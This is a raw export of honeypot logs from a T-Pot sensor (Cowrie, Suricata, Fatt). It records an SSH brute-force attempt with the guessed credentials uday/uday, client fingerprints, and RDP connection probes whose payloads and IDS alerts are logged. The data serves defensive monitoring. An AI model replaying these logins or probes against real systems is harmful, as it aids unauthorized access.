"timestamp": "2021-09-20T11:30:39.188936", "@timestamp": "2021-09-20T11:30:39.188Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29878	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:30:40.667047+03	2021-09-20 14:45:02.286142+03	{"_id": "7Qb4AnwBvYTbRNuE8Dhq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [uday/uday] failed", "session": "6e8192687aa2", "@version": "1", "password": "uday", "username": "uday", "timestamp": "2021-09-20T11:30:40.667047Z", "@timestamp": "2021-09-20T11:30:40.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29879	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:30:42.014396+03	2021-09-20 14:45:02.288142+03	{"_id": "7wb4AnwBvYTbRNuE9DhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "6e8192687aa2", "@version": "1", "duration": 3.1716623306274414, "timestamp": "2021-09-20T11:30:42.014396Z", "@timestamp": "2021-09-20T11:30:42.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29880	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:31:11.443131+03	2021-09-20 14:45:02.289141+03	{"_id": "Jwb5AnwBvYTbRNuEZzlP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 34418, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1181442172240635, "@version": "1", "in_iface": "enp5s0", "src_port": 53362, "dest_port": 53, "timestamp": "2021-09-20T11:31:11.443131Z", "@timestamp": "2021-09-20T11:31:11.443Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29881	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:10.930806+03	2021-09-20 14:45:02.290142+03	{"_id": "Kwb5AnwBvYTbRNuEaDl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35318, "dest_port": 443, "timestamp": "2021-09-20T11:31:10.930806", "@timestamp": "2021-09-20T11:31:10.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29882	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:31:10.972925+03	2021-09-20 14:45:02.292142+03	{"_id": "LAb5AnwBvYTbRNuEaDl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35318, "timestamp": "2021-09-20T11:31:10.972925", "@timestamp": "2021-09-20T11:31:10.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29884	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:30:35.950953+03	2021-09-20 14:45:02.294142+03	{"_id": "3Ab4AnwBvYTbRNuE3jiH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24555, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 811, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 139775161629387, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42658, "timestamp": "2021-09-20T11:30:35.950953Z", "@timestamp": "2021-09-20T11:30:35.950Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29885	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:30:36.001866+03	2021-09-20 14:45:02.296142+03	{"_id": "3gb4AnwBvYTbRNuE3ziy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35308, "dest_port": 443, "timestamp": "2021-09-20T11:30:36.001866", "@timestamp": "2021-09-20T11:30:36.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29886	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:30:38.840231+03	2021-09-20 14:45:02.297142+03	{"_id": "5wb4AnwBvYTbRNuE6DiY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3736 (192.168.176.2:22) [session: 6e8192687aa2]", "session": "6e8192687aa2", "@version": "1", "protocol": "ssh", "src_port": 3736, "dest_port": 22, "timestamp": "2021-09-20T11:30:38.840231Z", "@timestamp": "2021-09-20T11:30:38.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29887	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:30:38.843109+03	2021-09-20 14:45:02.298142+03	{"_id": "6Ab4AnwBvYTbRNuE6DiY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6e8192687aa2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:30:38.843109Z", "@timestamp": "2021-09-20T11:30:38.843Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29888	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:30:39.189577+03	2021-09-20 14:45:02.299141+03	{"_id": "6Qb4AnwBvYTbRNuE6DiY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6e8192687aa2", "@version": "1", "timestamp": "2021-09-20T11:30:39.189577Z", "@timestamp": "2021-09-20T11:30:39.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29889	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:30:39.187933+03	2021-09-20 14:45:02.302142+03	{"_id": "6gb4AnwBvYTbRNuE6jhB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 1584810466117560, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3736, "dest_port": 22, "timestamp": "2021-09-20T11:30:39.187933Z", "@timestamp": "2021-09-20T11:30:39.187Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29890	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:30:46.70522+03	2021-09-20 14:45:02.303142+03	{"_id": "8Qb5AnwBvYTbRNuEBTic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:30:46.382477+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 890546183132685, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59305, "dest_port": 3389, "timestamp": "2021-09-20T11:30:46.705220Z", "@timestamp": "2021-09-20T11:30:46.705Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29891	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:30:46.747717+03	2021-09-20 14:45:02.305143+03	{"_id": "-wb5AnwBvYTbRNuECTiF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:30:46.382477+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 890546183132685, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 59305, "timestamp": "2021-09-20T11:30:46.747717Z", "@timestamp": "2021-09-20T11:30:46.747Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29892	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:30:38.844233+03	2021-09-20 14:45:02.306143+03	{"_id": "4Qb4AnwBvYTbRNuE5ziE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3736, "timestamp": "2021-09-20T11:30:38.844233", "@timestamp": "2021-09-20T11:30:38.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29898	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:30:36.042879+03	2021-09-20 14:45:02.313172+03	{"_id": "3wb4AnwBvYTbRNuE3ziy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35308, "timestamp": "2021-09-20T11:30:36.042879", "@timestamp": "2021-09-20T11:30:36.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29893	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:30:47.077376+03	2021-09-20 14:45:02.307144+03	{"_id": "-gb5AnwBvYTbRNuECTiF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:30:46.382477+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 890546183132685, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59305, "dest_port": 3389, "timestamp": "2021-09-20T11:30:47.077376Z", "@timestamp": "2021-09-20T11:30:47.077Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29894	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:30:47.077376+03	2021-09-20 14:45:02.308142+03	{"_id": "_Qb5AnwBvYTbRNuECTiG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:30:46.382477+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 890546183132685, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59305, "dest_port": 3389, "timestamp": "2021-09-20T11:30:47.077376Z", "@timestamp": "2021-09-20T11:30:47.077Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29895	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:30:46.70522+03	2021-09-20 14:45:02.309142+03	{"_id": "8gb5AnwBvYTbRNuEBTic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:30:46.382477+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 890546183132685, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59305, "dest_port": 3389, "timestamp": "2021-09-20T11:30:46.705220Z", "@timestamp": "2021-09-20T11:30:46.705Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29896	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:30:46.70522+03	2021-09-20 14:45:02.311142+03	{"_id": "8wb5AnwBvYTbRNuEBjjG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 59305, "dest_port": 3389, "timestamp": "2021-09-20T11:30:46.705220", "@timestamp": "2021-09-20T11:30:46.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
